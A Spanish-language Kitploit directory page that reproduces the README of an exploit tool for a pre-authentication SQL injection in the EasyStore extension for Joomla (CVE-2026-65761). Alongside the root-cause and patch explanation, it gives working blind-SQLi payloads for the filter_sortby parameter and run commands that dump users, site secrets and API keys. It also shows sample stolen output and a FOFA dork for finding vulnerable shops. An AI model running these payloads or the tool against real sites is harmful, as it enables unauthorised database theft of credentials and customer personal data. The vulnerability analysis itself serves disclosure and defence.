Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-65761 — Inyección SQL Pre-Auth en EasyStore para Joomla mediante filter_sortby Direction (CVE-2026-65761, CVSS 9.3) | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-65761
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubshinthink/cve-2026-65761

CVE-2026-65761

Inyección SQL Pre-Auth en EasyStore para Joomla mediante filter_sortby Direction (CVE-2026-65761, CVSS 9.3)

Ver Repositorio
15hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-65761 — Inyección SQL sin autenticación previa en EasyStore Joomla

Dirección filter_sortby → Inyección ORDER BY → Lectura completa de la BD


Resumen

CVE-2026-65761 (CVSS 9.3 Crítico) es una inyección SQL sin autenticación en EasyStore para Joomla de JoomShaper, que afecta a las versiones ≤ 2.0.1.

El parámetro filter_sortby del listado de productos se divide en una columna y una dirección. Mientras que la columna se valida contra una lista de permitidos, la dirección se concatena directamente en la cláusula SQL ORDER BY sin ninguna restricción ASC/DESC, lo que permite que un visitante anónimo realice una inyección SQL arbitraria.

Un atacante no autenticado puede leer toda la base de datos de Joomla: cuentas de usuario, hashes de contraseñas, datos de sesión, secretos del sitio, claves API y toda la PII de los clientes (nombres, correos electrónicos, direcciones, números de teléfono, historial de compras).

CVECVE-2026-65761
CVSS9.3 Crítico
AfectadoEasyStore ≤ 2.0.1
CorregidoEasyStore 2.0.2
TipoInyección SQL (CWE-89)
AutenticaciónNo se requiere
DescubiertoPhil Taylor (mySites.guru) — julio de 2026

Mecanismo de la vulnerabilidad

Causa raíz

FilterHelper.php:741 devuelve la dirección de ordenación sin ninguna comprobación de lista de permitidos ASC/DESC:

// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932 concatena la dirección directamente en SQL:

// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

Los listados hermanos de marca y colección tenían listas de permitidos de dirección adecuadas. El listado de productos no.

Parche (EasyStore 2.0.2)

// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

Flujo del ataque

1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

Requisitos previos

RequisitoDetalles
EasyStore ≤ 2.0.1Versión vulnerable instalada
Listado de productos accesibleindex.php?option=com_easystore&view=products
Sin autenticaciónFunciona de forma anónima
MySQL/MariaDBExtracción basada en tiempo mediante SLEEP()

Instalación

git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

Uso

# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

Salida

+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

Detalles técnicos

Ruta de código vulnerable

ArchivoLíneaProblema
site/src/Helper/FilterHelper.php741Devuelve la dirección sin lista de permitidos — solo strtoupper()
site/src/Model/ProductsModel.php932Concatena $direction directamente en la cláusula ORDER BY

Parámetro de inyección

filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

Vulnerabilidades adicionales en EasyStore 2.0.1

CVETipoCVSS
CVE-2026-65759Falsificación de pedidos / manipulación de pagos8.7
CVE-2026-65760IDOR de facturas (exposición de datos entre clientes)9.2
CVE-2026-65761Inyección SQL (este exploit)9.3

FOFA Dork

body="com_easystore" && body="filter_sortby"

Referencias

  • mySites.guru — Divulgación original
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

Aviso legal

Solo para pruebas de seguridad autorizadas e investigación educativa. Los autores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta